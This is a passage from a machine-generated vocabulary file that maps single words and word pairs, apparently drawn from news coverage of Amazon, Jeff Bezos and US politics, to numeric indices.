"ele": 129201, "international governments": 129202, "key asset": 129203, "cheaply": 129204, "pentagon leaders": 129205, "unacceptable business": 129206, "competition increases": 129207, "rep adriano": 129208, "rezaian": 129209, "quote bs": 129210, "trade read": 129211, "campus mentoring": 129212, "border shutdown01": 129213, "year cbs": 129214, "services privacy": 129215, "act unconstitutional": 129216, "kitchen unnecessary": 129217, "market president": 129218, "decoded cnet": 129219, "businesses selling": 129220, "effectively tax": 129221, "indigenous female": 129222, "trademark sphere": 129223, "implied market": 129224, "549": 129225, "pretty amusing": 129226, "mck": 129227, "tad smith": 129228, "packages citing": 129229, "year despite": 129230, "page spoke": 129231, "club sharp": 129232, "hit shelves": 129233, "allegedly walked": 129234, "plunging amazon": 129235, "having juicy": 129236, "polluting": 129237, "news ran": 129238, "commerce package": 129239, "away white": 129240, "website optimization": 129241, "strong case": 129242, "left bezos": 129243, "subpoeana power": 129244, "hard truth": 129245, "weimar": 129246, "work danhof": 129247, "blowback amazon": 129248, "late sen": 129249, "man life": 129250, "virginia amazon": 129251, "bezos larry": 129252, "bezos reaction": 129253, "wrote earlier": 129254, "emergency relief": 129255, "boosting profits": 129256, "removal says": 129257, "colin sebastian": 129258, "bitty": 129259, "object recognition": 129260, "correct way": 129261, "government designated": 129262, "straight government": 129263, "foot lease": 129264, "games smart": 129265, "new virtual": 129266, "world travel": 129267, "world billions": 129268, "forcing smaller": 129269, "funneling": 129270, "isn walmart": 129271, "conor": 129272, "near multi": 129273, "retail federation": 129274, "business ocasio": 129275, "brand health": 129276, "huge minus": 129277, "smelled rat": 129278, "huseman comments": 129279, "happy smokey": 129280, "amazon extension": 129281, "city missourians": 129282, "industry interests": 129283, "bad bezos": 129284, "trade worries": 129285, "year resolution": 129286, "goure": 129287, "northwest battle": 129288, "neos": 129289, "sky sports": 129290, "hours trump": 129291, "bitching": 129292, "kpfk": 129293, "couldn": 129294, "google note": 129295, "analysts write": 129296, "office benioff": 129297, "unchanged": 129298, "legal compliance": 129299, "journal alessandra": 129300, "service quality": 129301, "novey latest": 129302, "horror features": 129303, "government thumbs": 129304, "employees penned": 129305, "homelessness problem": 129306, "twitter better": 129307, "market stock": 129308, "craft cannabis": 129309, "specific celebrity": 129310, "ladies watched": 129311, "covered gun": 129312, "convened task": 129313, "feat": 129314, "fraudulent products": 129315, "soaring 2018": 129316, "frozen food": 129317, "ramsay bolton": 129318, "dollar valuation": 129319, "center warehouse": 129320, "joint appearance": 129321, "university heller": 129322, "big hike": 129323, "needy": 129324, "quiet far": 129325, "today american": 129326, "tariff prompting": 129327, "politics government": 129328, "vogue editor": 129329, "assert control": 129330, "called summit": 129331, "set today": 129332, "investigation stems": 129333, "brings new": 129334, "p4yyvn54oi": 129335, "assisted treatment": 129336, "ago 2018": 129337, "bojack": 129338, "orange tracks": 129339, "numbers including": 129340, "fremont": 129341, "bramer": 129342, "did hear": 129343, "promoted hollywood": 129344, "allies regularly": 129345, "news awards": 129346, "century economy": 129347, "similarly targeted": 129348, "schroeder marketwatch": 129349, "drafted": 129350, "jumping ship": 129351, "amazon tackles": 129352, "minnesota attorney": 129353, "native": 129354, "appealing": 129355, "american bestseller": 129356, "escape list": 129357, "thanks maria": 129358, "added 190": 129359, "b5q 132": 129360, "immediate backstory": 129361, "similar resources": 129362, "hunters personal": 129363, "outing": 129364, "candidate relationships": 129365, "want knowledge": 129366, "highs bullish": 129367, "lion": 129368, "congress work": 129369, "hobbled": 129370, "sweepstakes ceo": 129371, "direction": 129372, "internet clip": 129373, "liesman reports": 129374, "article stated": 129375, "greensfelder": 129376, "bosses": 129377, "modernize state": 129378, "2018 versus": 129379, "big technology": 129380, "cancel netflix": 129381, "chris christie": 129382, "discussion maitland": 129383, "destroying businesses": 129384, "page world": 129385, "sounds strange": 129386, "needs urgent": 129387, "caucus": 129388, "target kamhi": 129389, "assets net": 129390, "lengthy post": 129391, "seat house": 129392, "ryan vlastelica": 129393, "detonated": 129394, "dominican": 129395, "increased pressure": 129396, "developers potentially": 129397, "amazon saved": 129398, "trade 2018": 129399, "run feature": 129400, "workers signed": 129401, "reporting spokesperson": 129402, "intense": 129403, "bizarre economy": 129404, "inside homes": 129405, "free purchases": 129406, "email": 129407, "bloody war": 129408, "lacks": 129409, "residents check": 129410, "entertainment tonight": 129411, "noble trump": 129412, "southwest profitable": 129413, "weakened substantially": 129414, "currently fully": 129415, "ami affair": 129416, "similar efforts": 129417, "named alexa": 129418, "wage rate": 129419, "environment": 129420, "titan announced": 129421, "separate story": 129422, "drone uses": 129423, "2420 wilson": 129424, "pharmacies amazon": 129425, "reaches draft": 129426, "management nives": 129427, "partisan gerrymandering": 129428, "investing industry": 129429, "gmt trump": 129430, "clapper james": 129431, "mega ministry": 129432, "jokes reference": 129433, "story limo": 129434, "migrates": 129435, "ran catch": 129436, "owned": 129437, "resurgent books": 129438, "flatbread": 129439, "longtime head": 129440, "mod hp_lead_pos4": 129441, "reins": 129442, "wide fishing": 129443, "pharis": 129444, "bribe just": 129445, "pinch": 129446, "memorial stadium": 129447, "confidential business": 129448, "using ai": 129449, "city forever": 129450, "agroclimatic variables": 129451, "political influence": 129452, "consummate instagram": 129453, "nurses": 129454, "outspoken left": 129455, "begin today": 129456, "donation bezos": 129457, "american state": 129458, "commands spokeswoman": 129459, "pressphoto agency": 129460, "counterfeit handbags": 129461, "major european": 129462, "northam signed": 129463, "tia goldenberg": 129464, "challenges abound": 129465, "dillard": 129466, "magli shoes": 129467, "sister korede": 129468, "maeve": 129469, "trump interfered": 129470, "kiichiro sato": 129471, "political affiliations": 129472, "jpg uri": 129473, "retailer took": 129474, "gold stars": 129475, "strong evidence": 129476, "transfix": 129477, "signaling": 129478, "reasonable multiple": 129479, "services developed": 129480, "services want": 129481, "mueller appears": 129482, "benioff notably": 129483, "investigating": 129484, "pepsico": 129485, "tax unanimously": 129486, "small sellers": 129487, "160b fortune": 129488, "burrp": 129489, "having vested": 129490, "ecommerce margins": 129491, "violated international": 129492, "loses income": 129493, "pledge money": 129494, "r4ee m6": 129495, "troubles world": 129496, "testify virginia": 129497, "schreiber": 129498, "huh monet": 129499, "achtung": 129500, "mentioned couple": 129501, "failed bid": 129502, "reynders": 129503, "consequent condemnation": 129504, "europe meaning": 129505, "lifts": 129506, "democrat ted": 129507, "streams": 129508, "payseno": 129509, "snarls": 129510, "update claiming": 129511, "study ordered": 129512, "bomber": 129513, "killing legislation": 129514, "istanbul consulate": 129515, "2016 says": 129516, "russian trolls": 129517, "new testament": 129518, "consumers tilted": 129519, "company national": 129520, "social relationships": 129521, "invention portable": 129522, "slamming google": 129523, "katya": 129524, "547": 129525, "corporation amazon": 129526, "discussion bezos": 129527, "europebriefing": 129528, "influential people": 129529, "redsteeze": 129530, "baltimore facilities": 129531, "police custody": 129532, "watch ted": 129533, "alexa axios": 129534, "stalking": 129535, "market territory": 129536, "bacall": 129537, "alito history": 129538, "previously saying": 129539, "pushing trump": 129540, "negative headlines": 129541, "boyle latest": 129542, "bezos wins": 129543, "california police": 129544, "coming brands": 129545, "transformed mailbox": 129546, "night police": 129547, "spinal tap": 129548, "customers couldn": 129549, "story cannabis": 129550, "board governor": 129551, "source altogether": 129552, "claims study": 129553, "gawande opinionated": 129554, "619": 129555, "eye watering": 129556, "4q18": 129557, "direct assistance": 129558, "health information": 129559, "riddle": 129560, "switch brackets": 129561, "wing theory": 129562, "academic fellow": 129563, "took place": 129564, "automotive": 129565, "reporters icymi": 129566, "amazonfcphil": 129567, "tweeted statement": 129568, "726 amazon": 129569, "gov power": 129570, "lynch charlotte": 129571, "variable bonuses": 129572, "decorum": 129573, "ianniello": 129574, "ultra modern": 129575, "waning fiscal": 129576, "agriculture minister": 129577, "noir": 129578, "transparent implication": 129579, "plagued agency": 129580, "bled": 129581, "sand": 129582, "business owned": 129583, "mothballed": 129584, "major donor": 129585, "offers price": 129586, "tech earnings": 129587, "crushes small": 129588, "bezos copy": 129589, "dig deep": 129590, "actually trump": 129591, "service scam": 129592, "wilke": 129593, "extraordinary plan": 129594, "bid anti": 129595, "industrial warfare": 129596, "official": 129597, "help expedite": 129598, "independent delivery": 129599, "lawsuit attorney": 129600, "affirmatively": 129601, "usps expansion": 129602, "boris epshteyn": 129603, "publicity surrounding": 129604, "admits changing": 129605, "distributed entirely": 129606, "exams fed": 129607, "little effort": 129608, "biting": 129609, "mocking trump": 129610, "possible obstruction": 129611, "martina": 129612, "district maps": 129613, "ben carson": 129614, "worth napolitano": 129615, "peter boockvar": 129616, "turns ellis": 129617, "aws launching": 129618, "internet behemoths": 129619, "finds new": 129620, "founder low": 129621, "estate education": 129622, "packages despite": 129623, "prevent hate": 129624, "american deployment": 129625, "month house": 129626, "ove": 129627, "maligns": 129628, "awayne3": 129629, "league eventually": 129630, "taxpayers roger": 129631, "update edit": 129632, "downgraded amd": 129633, "bannon calling": 129634, "post slams": 129635, "centers ju": 129636, "bourdain buttermilk": 129637, "advantage amazon": 129638, "old ottoman": 129639, "people expected": 129640, "armed land": 129641, "poisoning": 129642, "repaired major": 129643, "making misleading": 129644, "great damage": 129645, "extensive documentation": 129646, "times published": 129647, "jewish \u00e9migr\u00e9s": 129648, "grown accustomed": 129649, "famed forbes": 129650, "wrong things": 129651, "aafa recommendation": 129652, "charged amazon": 129653, "convincing narrative": 129654, "creativity needed": 129655, "isn biased": 129656, "onpresident clinton": 129657, "donated 637": 129658, "banks merge": 129659, "cramping margins": 129660, "senddonaldtospace bezos": 129661, "different reason": 129662, "sanchez sold": 129663, "road worker": 129664, "brennan including": 129665, "dc corruption": 129666, "bezos given": 129667, "italy": 129668, "billion loss": 129669, "single click": 129670, "war russian": 129671, "ibm took": 129672, "marketwatch rod": 129673, "cliff": 129674, "strongly advise": 129675, "french country": 129676, "contracts saying": 129677, "wear wire": 129678, "citizens want": 129679, "reads don": 129680, "backlash despite": 129681, "giving preference": 129682, "india jan": 129683, "bait sorry": 129684, "cut book": 129685, "selling tools": 129686, "1542et": 129687, "ministers agenda": 129688, "vaheesan": 129689, "jackie kennedy": 129690, "defended prince": 129691, "results helped": 129692, "prices writes": 129693, "forms subsidiary": 129694, "paint toronto": 129695, "mccabe explained": 129696, "e8 c8": 129697, "gadgets cloud": 129698, "robber": 129699, "reporting michael": 129700, "emergency toget": 129701, "free ride": 129702, "coloring": 129703, "spending grew": 129704, "raised concerns": 129705, "illegal fishing": 129706, "inflicting": 129707, "brenner": 129708, "181003125909": 129709, "activities undermine": 129710, "parade blustery": 129711, "ebay sent": 129712, "overreaction": 129713, "earnings": 129714, "emaar properties": 129715, "mama": 129716, "trump mocking": 129717, "unrelated event": 129718, "ellison accused": 129719, "crashes boeing": 129720, "popular resistance": 129721, "time employees": 129722, "bezos deserves": 129723, "disdains trump": 129724, "story southern": 129725, "spelling wb": 129726, "forden": 129727, "mono ply": 129728, "dismantled trump": 129729, "cpac 2019": 129730, "existent tax": 129731, "forestall sellers": 129732, "sounds lot": 129733, "political climate": 129734, "employees labor": 129735, "future implications": 129736, "related items": 129737, "exchange related": 129738, "modest charlotte": 129739, "grant provided": 129740, "using hindi": 129741, "tweets amazon": 129742, "ci": 129743, "2018 nutanix": 129744, "channel library": 129745, "depression story": 129746, "vinnie favale": 129747, "effect sanders": 129748, "program ivanka": 129749, "capital flows": 129750, "axsm sgn": 129751, "donating million": 129752, "truly witty": 129753, "announced delay": 129754, "2018 bernie": 129755, "employed entrepreneur": 129756, "isidore": 129757, "hold rathner": 129758, "summer despite": 129759, "chiefs": 129760, "instead say": 129761, "internal expertise": 129762, "licensed images": 129763, "latest trends": 129764, "defends trump": 129765, "causes grandinetti": 129766, "r4ee j6": 129767, "platforms better": 129768, "siddiqui joining": 129769, "purcell executive": 129770, "amazon garofolo": 129771, "cinemas": 129772, "amazon actually": 129773, "isn causing": 129774, "thebeat": 129775, "verify companies": 129776, "investors hear": 129777, "giant trophy": 129778, "north mississippi": 129779, "megan": 129780, "citing jpmorgan": 129781, "confetti": 129782, "chopra announced": 129783, "timing howard": 129784, "amazon men": 129785, "extortion claims": 129786, "darkness pete": 129787, "bezos michael": 129788, "bring new": 129789, "new investigationsinto": 129790, "boom yes": 129791, "greer guys": 129792, "pac supporting": 129793, "jacobs confirmed": 129794, "state hourly": 129795, "previously calling": 129796, "deal tremendous": 129797, "1988 abduction": 129798, "finally joined": 129799, "kremlin agent": 129800, "helps establish": 129801, "build space": 129802, "granted amazon": 129803, "recognition service": 129804, "supporters stormed": 129805, "researcher story": 129806, "pay unemployment": 129807, "takes credit": 129808, "including marin": 129809, "specific intention": 129810, "successfully represented": 129811, "packages thirty": 129812, "resarch company": 129813, "loose terms": 129814, "data companies": 129815, "osama": 129816, "favorite media": 129817, "company board": 129818, "tech keeps": 129819, "venhuizen paint": 129820, "analyst gregg": 129821, "volumes flown": 129822, "menefee libey": 129823, "play dress": 129824, "usps low": 129825, "000 penalty": 129826, "allow states": 129827, "zealand shootings": 129828, "docked yachts": 129829, "school massacre": 129830, "2018 sourceassociated": 129831, "nyt publishes": 129832, "goods 100": 129833, "purportedly sent": 129834, "pushed provision": 129835, "quarter cantillon": 129836, "suggests building": 129837, "subscription box": 129838, "sustainability reporting": 129839, "kavanaugh expert": 129840, "slab pies": 129841, "2016 exactly": 129842, "colin": 129843, "apriem": 129844, "stickers bouncing": 129845, "abramson second": 129846, "speech activist": 129847, "bumped bob": 129848, "larger": 129849, "miles": 129850, "normal human": 129851, "face pressure": 129852, "wired reached": 129853, "trump watch": 129854, "packages jeff": 129855, "theories sanchez": 129856, "grover": 129857, "nevada midterms": 129858, "brought": 129859, "relief fund": 129860, "invective": 129861, "reviews fr": 129862, "wall fence": 129863, "increase fossil": 129864, "228504 inc_homepage_lineline": 129865, "rage amazon": 129866, "medical exam": 129867, "fashion brand": 129868, "whale": 129869, "sought financing": 129870, "google especially": 129871, "approvals required": 129872, "fitting chinos": 129873, "circulated draft": 129874, "nurse costumes": 129875, "revenue long": 129876, "censorship crimes": 129877, "harrer pool": 129878, "revenue minus": 129879, "fund retiree": 129880, "rules offer": 129881, "figures dating": 129882, "400 ranking": 129883, "making additional": 129884, "nsa cia": 129885, "lastmodifiedtext lastmodifiedstate": 129886, "smart speaker": 129887, "people overwhelmed": 129888, "statement disavowing": 129889, "follows british": 129890, "wing submerged": 129891, "rules saying": 129892, "historic election": 129893, "administration lashed": 129894, "oversight read": 129895, "u2x o8": 129896, "economists think": 129897, "howe calebhowe": 129898, "000 strong": 129899, "bezos speaking": 129900, "texas trump": 129901, "bashar assad": 129902, "old source": 129903, "shares trump": 129904, "valuable retailer": 129905, "decreasing reported": 129906, "jack seiler": 129907, "chatter": 129908, "food manufacturing": 129909, "investigate google": 129910, "typically placating": 129911, "expands free": 129912, "web raises": 129913, "green appears": 129914, "share according": 129915, "including costume": 129916, "entertainment reporter": 129917, "chris churchill": 129918, "ceo entrepreneur": 129919, "world asked": 129920, "plot unexpectedly": 129921, "television personality": 129922, "introducing pecker": 129923, "searches start": 129924, "indexes finished": 129925, "theunited states": 129926, "jimmy hoffa": 129927, "accurate 2020": 129928, "dangerous google": 129929, "permission don": 129930, "budget regardless": 129931, "generally hate": 129932, "jump analysts": 129933, "sceptic claiming": 129934, "sat entirely": 129935, "little people": 129936, "surprise announcement": 129937, "phone perfect": 129938, "risks new": 129939, "higher risk": 129940, "iwatch": 129941, "team promptly": 129942, "extreme wealth": 129943, "information administration": 129944, "mettler katie": 129945, "fund zuker": 129946, "cancer cases": 129947, "electric water": 129948, "beet farming": 129949, "wryness": 129950, "070 words": 129951, "chart attack": 129952, "leahy vt": 129953, "deregulatory": 129954, "nahit": 129955, "military veteran": 129956, "immigration gun": 129957, "suggestion floated": 129958, "local businessmen": 129959, "nurturing": 129960, "court approval": 129961, "example gawker": 129962, "toxic threads": 129963, "01am": 129964, "security team": 129965, "desserts": 129966, "french businessman": 129967, "day remains": 129968, "rohrwacher neorealism": 129969, "soon warns": 129970, "satellite office": 129971, "berlin oeuvre": 129972, "maria sachs": 129973, "irving": 129974, "manuel": 129975, "blogging website": 129976, "bezos leans": 129977, "encourages players": 129978, "ending months": 129979, "employ multiple": 129980, "preserve amazon": 129981, "ireland singapore": 129982, "tanakh old": 129983, "republicans drew": 129984, "kxlf": 129985, "kill khashoggi": 129986, "divorcing": 129987, "sexuality": 129988, "escalating": 129989, "2017 jerod": 129990, "dark agile": 129991, "crypto shirt": 129992, "seeing healthy": 129993, "french laundry": 129994, "fiber company": 129995, "policies did": 129996, "pained": 129997, "v8 t8": 129998, "neighboring location": 129999, "mills rick": 130000, "latest videos": 130001, "poppy": 130002, "trump space": 130003, "specific outlets": 130004, "specific outcomes": 130005, "making baseless": 130006, "atkins 11justices": 130007, "additional funding": 130008, "age tale": 130009, "rights activists": 130010, "tax time": 130011, "samuel curtis": 130012, "isvideoreplayclicked false": 130013, "r4ee b4e": 130014, "haverty absolutely": 130015, "service fees": 130016, "just walk": 130017, "campaign money": 130018, "obama makes": 130019, "troop border": 130020, "2018 spent": 130021, "lowry university": 130022, "conclusions probably": 130023, "greene hale": 130024, "good eats": 130025, "channel meetings": 130026, "mute": 130027, "subdued heckling": 130028, "consumers online": 130029, "watching read": 130030, "firm loses": 130031, "completely rolled": 130032, "classic industrial": 130033, "new annadel": 130034, "agencies facebook": 130035, "bankruptcy bezos": 130036, "young men": 130037, "vital government": 130038, "reporter covering": 130039, "long stagnation": 130040, "possibly giving": 130041, "headquarters soon": 130042, "cloud ipo": 130043, "koshgarian": 130044, "coherent argument": 130045, "consumers flock": 130046, "recently tried": 130047, "377": 130048, "industry council": 130049, "world health": 130050, "discounts coupled": 130051, "regarding farrow": 130052, "annually": 130053, "trump content": 130054, "controversies surrounding": 130055, "2018 michelle": 130056, "ironically referred": 130057, "commercial capabilities": 130058, "tomay 2018": 130059, "situation exemplifies": 130060, "b1a1 4450": 130061, "point confident": 130062, "dunn": 130063, "owen brennan": 130064, "legal problems": 130065, "stat": 130066, "stealing water": 130067, "km\u00b2 year": 130068, "service trucks": 130069, "money today": 130070, "speaker": 130071, "nimbly": 130072, "limiting": 130073, "nicolas asfouri": 130074, "editing tags": 130075, "bryan amazon": 130076, "vortex desperate": 130077, "comparable twitter": 130078, "abelskiver": 130079, "juice": 130080, "1986 possibly": 130081, "simply involved": 130082, "managed choreographed": 130083, "16th griffeth": 130084, "awaiting senate": 130085, "youtube algorithm": 130086, "networksabout": 130087, "affair pointed": 130088, "tortoise": 130089, "upward": 130090, "wee guy": 130091, "reid_secondo brown": 130092, "service overall": 130093, "braindead available": 130094, "origin trump": 130095, "months claiming": 130096, "mendoza": 130097, "voters": 130098, "right instead": 130099, "ap democratic": 130100, "technology chiefs": 130101, "diario new": 130102, "remarkable": 130103, "future military": 130104, "good david": 130105, "ensnares california": 130106, "incredulous": 130107, "day brings": 130108, "reprisals": 130109, "explodes": 130110, "goods effectively": 130111, "yeah gayle": 130112, "merger reviews": 130113, "private commerce": 130114, "bit helps": 130115, "mobile": 130116, "austrian complicity": 130117, "ergonomic": 130118, "beijing government": 130119, "cheryl richardson": 130120, "representatives trump": 130121, "tennessee atf": 130122, "new facility": 130123, "inc_hide_video_prerollflag": 130124, "discounted": 130125, "kingdom ministry": 130126, "salesbut impressive": 130127, "service believe": 130128, "bloomberg open": 130129, "workers seizing": 130130, "house beset": 130131, "long hey": 130132, "alleged extortion": 130133, "octopus": 130134, "usps fixed": 130135, "featured celebrities": 130136, "jr using": 130137, "page jedi": 130138, "executed related": 130139, "madness hallucinating": 130140, "sunk": 130141, "selyukh alina": 130142, "improvements job": 130143, "added bolsonaro": 130144, "hat embraces": 130145, "article better": 130146, "fully loaded": 130147, "economist adam": 130148, "trump knows": 130149, "competitive amazon": 130150, "favorable pr": 130151, "included massachusetts": 130152, "smartphone google": 130153, "personalities": 130154, "market selloff": 130155, "laughed": 130156, "nuclear accord": 130157, "activity yeti": 130158, "unpaid fees": 130159, "exclusive partnership": 130160, "just neutral": 130161, "california public": 130162, "fsu": 130163, "planning department": 130164, "broader russia": 130165, "volunteer": 130166, "china wished": 130167, "tomlinson": 130168, "sales going": 130169, "subscriber": 130170, "higher state": 130171, "protests": 130172, "millennium": 130173, "estimated return": 130174, "market views": 130175, "sensitive purchase": 130176, "trump building": 130177, "rates trump": 130178, "iraq conflict": 130179, "acrylic purple": 130180, "threat pic": 130181, "hasn secured": 130182, "organized faith": 130183, "financial support": 130184, "moment started": 130185, "jones attorney": 130186, "accessibility": 130187, "amazon illustrates": 130188, "published just": 130189, "resolved judges": 130190, "kannapell": 130191, "amanda lilly": 130192, "disappearing middle": 130193, "wesleyan university": 130194, "acquisition ice": 130195, "xcswi4lutq": 130196, "world expo": 130197, "polio": 130198, "produced glossy": 130199, "spotlighted": 130200, "nosed business": 130201, "chamber newly": 130202, "shocked copy": 130203, "vogt contributed": 130204, "usps reassess": 130205, "c5 trumpets": 130206, "agrees rep": 130207, "insured employers": 130208, "berkman bottger": 130209, "postpones": 130210, "precarious position": 130211, "viacom cbs": 130212, "republican votes": 130213, "order blocking": 130214, "heffx": 130215, "legislative package": 130216, "tariffs policies": 130217, "standalone youtube": 130218, "original tally": 130219, "official endorsement": 130220, "john cook": 130221, "romantic valentine": 130222, "millennials youve": 130223, "business jeff": 130224, "churchgoers": 130225, "financial footing": 130226, "ft thanks": 130227, "costello": 130228, "mixes": 130229, "authentic products": 130230, "just voted": 130231, "post opposed": 130232, "shakeups": 130233, "tom parsons": 130234, "discovering problems": 130235, "company deductions": 130236, "facility safety": 130237, "doj officials": 130238, "free fair": 130239, "received 747": 130240, "movie coming": 130241, "mirror pic": 130242, "japanese anime": 130243, "dribble sic": 130244, "company properties": 130245, "extremist movements": 130246, "settled include": 130247, "trump stresses": 130248, "anonymous anecdotes": 130249, "future cnbc": 130250, "spokeswoman heather": 130251, "benjy sarlin": 130252, "future government": 130253, "cushion": 130254, "consumer sentiment": 130255, "mackey": 130256, "skidmore": 130257, "mds": 130258, "landers financial": 130259, "helicopter couldn": 130260, "governments right": 130261, "acquaintance": 130262, "provided big": 130263, "vast uranium": 130264, "zakaria gps": 130265, "viewform": 130266, "2014 federal": 130267, "lure workers": 130268, "funded apprenticeship": 130269, "favorable operating": 130270, "domenech calendar": 130271, "supercomers exxonmobil": 130272, "nursing home": 130273, "rights violators": 130274, "league executive": 130275, "drops": 130276, "talk circuit": 130277, "clinton based": 130278, "approved tjl": 130279, "spanish prime": 130280, "submissive": 130281, "gained brett": 130282, "trump memorandum": 130283, "business today": 130284, "independent analysis": 130285, "2019 enquirer": 130286, "deep": 130287, "president lack": 130288, "old left": 130289, "latest clash": 130290, "agency reported": 130291, "times venezuela": 130292, "price estimates": 130293, "tm agitation": 130294, "drug companies": 130295, "giant agreement": 130296, "interview axel": 130297, "desk jockey": 130298, "tv campaign": 130299, "political conflict": 130300, "fred hank": 130301, "biographical bellow": 130302, "company pulled": 130303, "plows": 130304, "declare border": 130305, "taxpayers subsidization": 130306, "brackets": 130307, "incyte corp": 130308, "solid holiday": 130309, "basically want": 130310, "true image": 130311, "tjx tjx": 130312, "wing liberal": 130313, "journal publishing": 130314, "artificial scarcities": 130315, "nsa customers": 130316, "senior political": 130317, "mutually": 130318, "dignify": 130319, "fed negative": 130320, "tame swelling": 130321, "provider ubhi": 130322, "wasteful vanity": 130323, "community effort": 130324, "remit payments": 130325, "introduces cell": 130326, "proclaimed business": 130327, "170 pound": 130328, "holidays online": 130329, "new black": 130330, "serve amazon": 130331, "smile logo": 130332, "fallible": 130333, "popular policy": 130334, "help investors": 130335, "trash amazon": 130336, "public sexual": 130337, "overtime pay": 130338, "industrial phosphonate": 130339, "trendline": 130340, "imposed shares": 130341, "greatest innovators": 130342, "people collusion": 130343, "film manchester": 130344, "missile engine": 130345, "bank trust": 130346, "byron": 130347, "consumer complaints": 130348, "amazon beats": 130349, "industry makes": 130350, "amazon logging": 130351, "investigations suggested": 130352, "film studios": 130353, "extraordinarily generous": 130354, "leader google": 130355, "finalists won": 130356, "boycottwalmart began": 130357, "past middle": 130358, "state measures": 130359, "publicized events": 130360, "faculty gullium": 130361, "trump beef": 130362, "grossly underestimated": 130363, "versus rates": 130364, "cuisine reporter": 130365, "nfc": 130366, "yiu": 130367, "majority owned": 130368, "jersey billion": 130369, "stem cell": 130370, "political messaging": 130371, "amused": 130372, "storing biometric": 130373, "mister deasy": 130374, "lawmakers anticipating": 130375, "shutdown averting": 130376, "carriers gain": 130377, "just 115": 130378, "project cassell": 130379, "legal issues": 130380, "vanilla quincy": 130381, "biggest issues": 130382, "burial ground": 130383, "amazon hq2scam": 130384, "burst currently": 130385, "kindle book": 130386, "contractually": 130387, "countries don": 130388, "graphic tmsnrt": 130389, "abha bhattarai": 130390, "later bll": 130391, "hq2 candidate": 130392, "talk kat": 130393, "wieser told": 130394, "director vmware": 130395, "steady growth": 130396, "743": 130397, "e721hynqb0 michael": 130398, "politics a26142277": 130399, "dance": 130400, "hungry tapeworm": 130401, "offer major": 130402, "rates imposed": 130403, "bezos workers": 130404, "stresses mount": 130405, "large shippers": 130406, "congo photo": 130407, "foreign ministers": 130408, "cup starts": 130409, "garnered 232": 130410, "whowould": 130411, "americans reduced": 130412, "platform data": 130413, "young employees": 130414, "process north": 130415, "reimburses": 130416, "regina": 130417, "heavy selling": 130418, "giving subsidised": 130419, "watches": 130420, "prognosticators scored": 130421, "fed hike": 130422, "swim team": 130423, "1p": 130424, "snapped awkwardly": 130425, "federal supplemental": 130426, "produced items": 130427, "casa": 130428, "isaac": 130429, "named 2015": 130430, "stack completely": 130431, "stock higher": 130432, "prison minister": 130433, "micro": 130434, "haverty joining": 130435, "2018 interview": 130436, "seattle want": 130437, "twister say": 130438, "aides learned": 130439, "double postal": 130440, "raising rates": 130441, "posts amazon": 130442, "financial opportunity": 130443, "highlighting fight": 130444, "yankees games": 130445, "posted jul": 130446, "fork": 130447, "actively harm": 130448, "english premier": 130449, "collective rights": 130450, "sales new": 130451, "obstructed": 130452, "hand crafted": 130453, "enriching continuing": 130454, "murky blackmailing": 130455, "democratic society": 130456, "brushed": 130457, "morgan cut": 130458, "descriptions howard": 130459, "hedren vice": 130460, "showing widespread": 130461, "glimmering las": 130462, "share today": 130463, "employer": 130464, "single platform": 130465, "upstateamerica geneva": 130466, "preschool bezos": 130467, "2037": 130468, "increased dramatically": 130469, "dog brought": 130470, "coors eli": 130471, "boardroom battle": 130472, "lifts pakistan": 130473, "kanchan koya": 130474, "president just": 130475, "france data": 130476, "consistently declining": 130477, "live updates": 130478, "weight dramatically": 130479, "angeles isn": 130480, "videohash server719397": 130481, "health enter": 130482, "drive lot": 130483, "wayfair quarter": 130484, "truths sloppy": 130485, "mower roomba": 130486, "farmers work": 130487, "agriculture services": 130488, "repulsion": 130489, "royal advisor": 130490, "shia kapos": 130491, "advocates claim": 130492, "smell coming": 130493, "concrete proof": 130494, "hashtag began": 130495, "getnextvideoindex": 130496, "macbook air": 130497, "companies dividends": 130498, "expedited legislative": 130499, "employee retirement": 130500, "text announcer": 130501, "nasdaq performance": 130502, "american healthcare": 130503, "cio dana": 130504, "offset drop": 130505, "executive safra": 130506, "research psychologist": 130507, "fairly negotiated": 130508, "crash expects": 130509, "weird cramer": 130510, "atomwaffen division": 130511, "investment ideas": 130512, "jerome corsi": 130513, "ken kind": 130514, "small delivery": 130515, "fassbender": 130516, "employee actually": 130517, "heart disease": 130518, "environmental agenda": 130519, "binoche": 130520, "juylcwhmga rebecca": 130521, "journalist returns": 130522, "federal money": 130523, "deap ubhi": 130524, "past statements": 130525, "honolulu fort": 130526, "dispute addressing": 130527, "uncertainty surrounding": 130528, "slideshows arkansas": 130529, "giant step": 130530, "wilson sessions": 130531, "city cohen": 130532, "schiff claimed": 130533, "staffing solutions": 130534, "confidential": 130535, "coat changed": 130536, "sen thom": 130537, "shutdown amid": 130538, "member brad": 130539, "haugen 543": 130540, "pelosi photo": 130541, "constant focus": 130542, "trump rallies": 130543, "news sanders": 130544, "understated": 130545, "variations": 130546, "powerful justice": 130547, "hughes 138": 130548, "rebeccaarainey": 130549, "compulsory": 130550, "critical articles": 130551, "soldiers killed": 130552, "brief time": 130553, "legislation mair": 130554, "flowery": 130555, "utterly charismatic": 130556, "line utility": 130557, "lied": 130558, "leaked jeff": 130559, "sanctuary island": 130560, "significant ripple": 130561, "amazed": 130562, "post distinction": 130563, "unionize employees": 130564, "divorce ordinarily": 130565, "nation security": 130566, "alexa play": 130567, "api key": 130568, "struggling": 130569, "greenprint": 130570, "office attempt": 130571, "god used": 130572, "jail free": 130573, "rarely depicted": 130574, "moonshot questions": 130575, "pursue charges": 130576, "640x290 uploaded_files": 130577, "auto imports": 130578, "trump esque": 130579, "apple longtime": 130580, "lifestyle titles": 130581, "bakalar founder": 130582, "necessary hosts": 130583, "quickly katherine": 130584, "jeremoss": 130585, "compulsive": 130586, "obamagate obamagatespyscandal": 130587, "deal blackmail": 130588, "length handling": 130589, "palladium": 130590, "including ar": 130591, "globalisation": 130592, "costs analysts": 130593, "nordlinger jaynordlinger": 130594, "fascist regime": 130595, "tx": 130596, "paul kentucky": 130597, "chicago police": 130598, "conway opening": 130599, "canaan": 130600, "coincidence": 130601, "internationally including": 130602, "buy stock": 130603, "political process": 130604, "declare national": 130605, "employees making": 130606, "headlines include": 130607, "sierras": 130608, "possible 2020": 130609, "health concerns": 130610, "consumers rely": 130611, "cutformat": 130612, "economy members": 130613, "swiss drugmaker": 130614, "president fredric": 130615, "counsel hasn": 130616, "positioned better": 130617, "win according": 130618, "lengthy conflict": 130619, "investigation jeff": 130620, "videoid jquery": 130621, "incursions": 130622, "reap serve": 130623, "house internal": 130624, "buy movie": 130625, "particularly surprised": 130626, "young munduruku": 130627, "trapeze artist": 130628, "representatives 